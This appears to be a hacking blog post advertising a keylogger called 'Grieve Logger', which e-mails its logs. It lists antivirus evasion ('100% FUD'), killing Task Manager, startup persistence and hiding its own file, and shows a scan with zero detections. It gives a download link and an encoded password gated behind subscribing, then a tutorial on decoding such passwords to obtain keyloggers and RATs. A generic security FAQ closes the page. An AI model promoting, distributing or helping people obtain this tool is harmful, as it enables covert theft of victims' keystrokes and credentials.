Grieve Logger Public V2.2

Screenshot:



Features:

• 100% FUD
• Use Any E-Mail Provider For Your Logs
• Kill Task Manager
• Add To Start Up
• Custom Start Up Name
• Hide File After Execution
• Icon Changer
• CodeDOM Compiled
• Each Server Is Different
• Mutex
• Fast Execution
  

File Info

Report date: 2011-02-27 01:19:07 (GMT 1)
File name: server27feb-exe
File size: 147456 bytes
MD5 Hash: 74ec98004f4d4c1f065e3e9e4f69d9d0
SHA1 Hash: 5d3b95c5bebfed92ac97087b91f24cb879c33469
Detection rate: 0 on 16 (0%)
Status: CLEAN

Detections

a-squared -
Avast -
AVG -
Avira AntiVir -
BitDefender -
ClamAV -
Comodo -
Dr.Web -
F-PROT6 -
Ikarus T3 -
Kaspersky -
NOD32 -
Panda -
TrendMicro -
VBA32 -
VirusBuster -

Scan report generated by
NoVirusThanks.org

Download Link:
http://adf.ly/bjiW

Password:

Code:

Vr3DE+B4z+zYwxPYtblzBdKc8NAMCWfWCIYPqgwhAJ24wFQkyrAywgKLXRnSy8wzBzODf8BefWy4wxQY ​ CLOzgRlL8I1TVFZOB83iB09e3JqY0AQKvdfJ3TKLyLJrXAfaVe3I38B4z+zYwxP6yLQSfdKc8NAMCWfW ​ CI5rqgwhAJ24wFQPyblywgKLXMJ6VFfsBzODf8Be3J3rzMfYCLOzgRlL8I1MwAZOB83itecdzJ/Y0AQKvdfefdf08uJrXAfaVr3DwNCOz+zYwxP6yLCy0gKc8NAMCWfWCKciqgwhAJ24frv6vrAywgKLXRn ​Sy8w=BzODf8Be3JqxESlv

Encrypted With:
FERON-74 -> ZARA-128 -> MEGAN35 -> TIGO3FX -> GILA7

Ignore Any Errors In Decoding.

Subscribe on this blog and get password  

Changelog:
- Version 2b:

• Added More Uniqueness
• Added Comparison Screenshot
  

- Version 2c:

• Fixed "z" Appearing as [111] Bug
  

- Version 2.1

• Added Custom Start Up Name
  

- Version 2.2

• Re-FUD
• Icon Changer!
  

Have Fun!

How to decrypt passwords Tutorial

Probably if you're looking at this tutorial is because you don't know how to decrypt passwords to download keylogger, rats, etc.

Okay my intentions of doing this tutorial are for noobs that doesn’t know how to decrypt passwords and they keep posting how I can decrypt the password.

First there are many ways that the people crypt password, examples:
U-ASCII Encode, T-ASCII Encode, F-ASCII Encode, AER-256 Encrypt, ARMON-64 Encrypt, ATOM-128 Encrypt, BASE-64 Encrypt, ESAB-46 Encrypt, EZIP-64 Encrypt, FERON-74 Encrypt, GILA7 Encrypt, HAZZ-15 Encrypt, MEGAN-35 Encrypt, OKTO3 Encrypt, TIGO-3FX Encrypt, TRIPO-5 Encrypt, ZARA-128 Encrypt, ZONG22 Encrypt.
All these types of encryptions are found at crypo.com

Now let's say the password is:
S0Q5WGZoS3FUbWhmS3kwZw==
And he says encrypted method [TRIPO-5 -> ATOM-128 -> BASE-64].
You need to copy the password as exactly as it is, cause if you miss a letter or number it won't be the same password, and start decrypting it from backwards since it was encrypted this way [TRIPO-5 -> ATOM-128 -> BASE-64] you need to decrypt it this way [BASE-64->ATOM-128->TRIPO-5]. The result should be Tutorial , if it wasn’t Tutorial you made an error and try again following the steps I told you. If he says decryption method is [TRIPO-5 -> ATOM-128 -> BASE-64] you just decrypt it like it says.

When people say in their encryption method HEX you need to decrypt it with HEX TO ASCII an example:
The password is:
NTQgNzUgNzQgNmYgNzIgNjkgNjEgNmM=
Encryption method was [HEX -> BASE-64] you need to decrypt it this way [BASE-64 -> HEX TO ASCII ], The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you. HEX TO ASCII decrypting method can be found here YELLOWPIPE.COM

There are other ways of encryptions such as Backwards also called Reverser/(ed), this is found two at crypo.com, lets say another example:
The password is:
BbaMCzGFsRA4
Encryption method was [BACKWARDS -> FERON-74] you need to decrypt it this way [FERON-74 -> BACKWARDS ], The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you.

I've seen people that have also tried to confuse people by adding to the encryption method NORMAL TEXT, in this case you don't need to do anything an example:
The password is:
BbaMCzGFsRA4

Encryption method was [NORMAL TEXT -> BACKWARDS -> FERON-74] you need to decrypt it this way [FERON-74 -> BACKWARDS] only, they add NORMAL TEXT to confuse noobs but really you just skip that way. The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you.

A lot of people are asking what to do for binary look here:
For binary you just decrypt it Binary to ACSII and for Hex you decrypt it Hex to ASCII too, in example:

 

Code:

30 31 30 31 30 31 30 30 20 30 31 31 31 30 31 30 31 20 30 31 31 31 30 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 31 30 30 31 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 30

Encryped method:[ Binary -> Hex ]

To decrypt copy the code and then at Yellowpipe.com you select first the option Hex to ACSII then you copy the result, and then select the option Binary to ASCII,
The answer should be Tutorial if it's not try again.

All these method of encryptions are found at: CRYPO.COM
Other encryptions methods can be found at: YELLOWPIPE.COM.

Computer Security FAQ

In the past, PCs were mainly under threat from viruses and worms. The main purpose of these programs was to spread; however, some programs were also designed to cause damage to files and PCs. Such malicious software, or “malware”, could be described as ‘cyber vandalism’.

What is the difference between a virus and a worm? What is a TROJAN and where did the name come from? What is a DoS attack? What is a DDoS attack? What is a "DRIVE-BY DOWNLOAD”? What is a MALWARE? What is a SPYWARE? What is a KEYLOGGER? What is PHISHING? What is a ROOTKIT? What is ADWARE? What is a BOTNET?

What is the difference between a virus and a worm? A virus is a program that replicates, i.e. it spreads from file to file on your system and from PC to PC. In addition, it may be programmed to erase or damage data. Worms are generally considered to be a subset of viruses, but with certain key differences. A worm is a computer program that replicates, but does not infect other files. Instead, it installs itself once on a computer and then looks for a way to spread to other computers. In the case of a virus, the longer it goes undetected, the more infected files there will be on the computer. Worms, however, create a single instance of their code. Moreover, unlike a virus, a worm code is stand-alone. In other words, a worm is a separate file while a virus is a set of code which adds itself to existing files. What is a DoS attack? What is a DDoS attack? A Denial-of-Service (DoS) attack is designed to hinder or stop the normal functioning of a web site, server or other network resource. There are various ways for hackers to achieve this. One common method is to flood a server by sending it more requests than it is able to handle. This will make the server run slower than usual (and web pages will take much longer to open), and may crash the server completely (causing all websites on the server to go down). A distributed-Denial-of-Service (DDoS) attack differs only in the fact that the attack is conducted using multiple machines. The hacker typically uses one compromised machine as the ‘master’ and co-ordinates the attack across other, so-called ‘zombie’, machines. Both master and zombie machines are typically compromised by exploiting a vulnerability in an application on the computer, to install a Trojan or other piece of malicious code. What is PHISHING? Phishing is a very specific type of cybercrime designed to trick you into disclosing personal financial details. Cybercriminals create a fake website that looks just like a bank’s website (or any other web site where online financial transactions are conducted e.g. eBay). They then try to trick you into visiting this site and typing in your confidential data, such as your login, password or PIN. Typically, cybercriminals send out a large numbers of e-mails containing a hyperlink to the fake site. What is a ROOTKIT? This term describes a collection of programs used by a hacker to evade detection while trying to gain unauthorized access to a computer. The term originated in the Unix world, although it has since been applied to the techniques used by authors of Trojans that run under Microsoft® Windows® to conceal their actions. Rootkits have been used increasingly as a form of stealth to hide Trojan activity. When installed on the system, rootkits are not only invisible to users, but they are designed to escape detection of security software as well. The fact that many people log into their computers with administrator rights, rather than creating a separate account with restricted access, makes it easier for cybercriminals to install a rootkit. What is MALWARE? Malware - short for malicious software - is an umbrella term that refers to any software program deliberately created to perform an unauthorized and often harmful action. Viruses, backdoors, keyloggers, password stealers and other Trojan horse programs, Word and Excel macro viruses, boot sector viruses, script viruses (batch, windows shell, java, etc.) and Trojans, crimeware, spyware and adware are but a few examples of what is considered malware. It was once sufficient to call something a 'virus' or 'Trojan horse', but infection methods and vectors evolved and the terms virus and Trojan no longer provided a satisfactory definition for all the types of rogue programs that exist.

What is a TROJAN and where did the name come from? The term Trojan refers to the wooden horse used by the Greeks to sneak inside the city of Troy and capture it. The classic definition of a Trojan is a program that poses as legitimate software but when launched will do something harmful. Trojans can't spread by themselves, which is what distinguishes them from viruses and worms. Today, Trojans are typically installed secretly and deliver their malicious payload without your knowledge. Much of today’s crimeware is comprised of different types of Trojans, all of which are purpose-built to carry out a specific malicious function. The most common are Backdoor Trojans (often they include a keylogger), Trojan Spies, password stealing Trojans and Trojan Proxies that convert your computer into a spam distribution machine. What is a “DRIVE-BY DOWNLOAD”? In a drive-by download, your computer becomes infected just by visiting a website which contains malicious code. Cybercriminals search the Internet looking for vulnerable web servers that can be hacked. On such servers, cybercriminals can inject their malicious code (often in the form of malicious script) onto the web pages. If your operating system or one of your applications is un-patched, a malicious program is downloaded to your computer automatically when you access the infected web page. What is a KEYLOGGER? These are programs which record key presses (i.e. what a user types on the keyboard) and can be used by a hacker to obtain confidential data (login details, passwords, credit card numbers, PINs, etc.). Backdoor Trojans typically come with an integrated keylogger. What is ADWARE? Adware is the general term applied to programs that either launch advertisements (often pop-up banners) or re-direct search results to promotional web sites. Adware is often built into freeware or shareware programs: if you download a freeware program, the adware is installed on your system without your knowledge or consent. Sometimes a Trojan will secretly download an adware program from a web site and install it on your computer. Web browsers that aren’t up-to-date often contain vulnerabilities. Such browsers are vulnerable to hackers tools (often referred to as Browser Hijackers) that can download adware to your computer. Browser Hijackers may change browser settings, redirect incorrectly typed or incomplete URLs to a specific site, or change the default homepage. They may also redirect searches to pay-to-view (often pornographic) web sites. Typically, adware programs do not show themselves in the system in any way: there will be no listing under Start | Programs, no icons in the system tray and nothing in the task list. They seldom come with a de-installation procedure and attempts to remove them manually may cause the original carrier program to malfunction. What is a BOTNET? The term used for a network of computers controlled by cybercriminals using a Trojan or other malicious program. What is SPYWARE? As the name suggests, this is software that is designed to harvest your data and forward it to a third party without your consent or knowledge. Such programs may monitor key presses ('keyloggers'), collect confidential information (passwords, credit card numbers, PIN numbers, etc.), harvest e-mail addresses or track browsing habits. In addition to all of this, spyware inevitably affects your computer’s performance.

Just like burglars break into houses, hackers break into computers. Do you ever wonder how hackers get inside your computer? How can you stop them?

What is a hacker? The term hacker was once used to describe a clever programmer. Today, it’s applied to those who exploit security vulnerabilities to break into a computer system. You can think of it as electronic burglary. Hackers regularly break into both individual computers and large networks. Once they have access, they may install malicious programs, steal confidential data, or perhaps use compromised computers to distribute spam.

What is a vulnerability? Today’s computer software is very complex, comprised of thousands of lines of code. Since software is written by humans, it’s hardly surprising that they contain programming mistakes, known as vulnerabilities. These loopholes are used by hackers to break into systems; they are also used by authors of malicious code to launch their programs automatically on your computer.

How do I protect myself from hackers?

Hackers are like electronic burglars, who use loopholes in your programs - vulnerabilities - to break into your computer system. You can protect yourself from hackers by using a firewall. A firewall program, which often comes as part of an anti-virus software package, protects a PC by detecting potential intruders and making the PC invisible to hackers.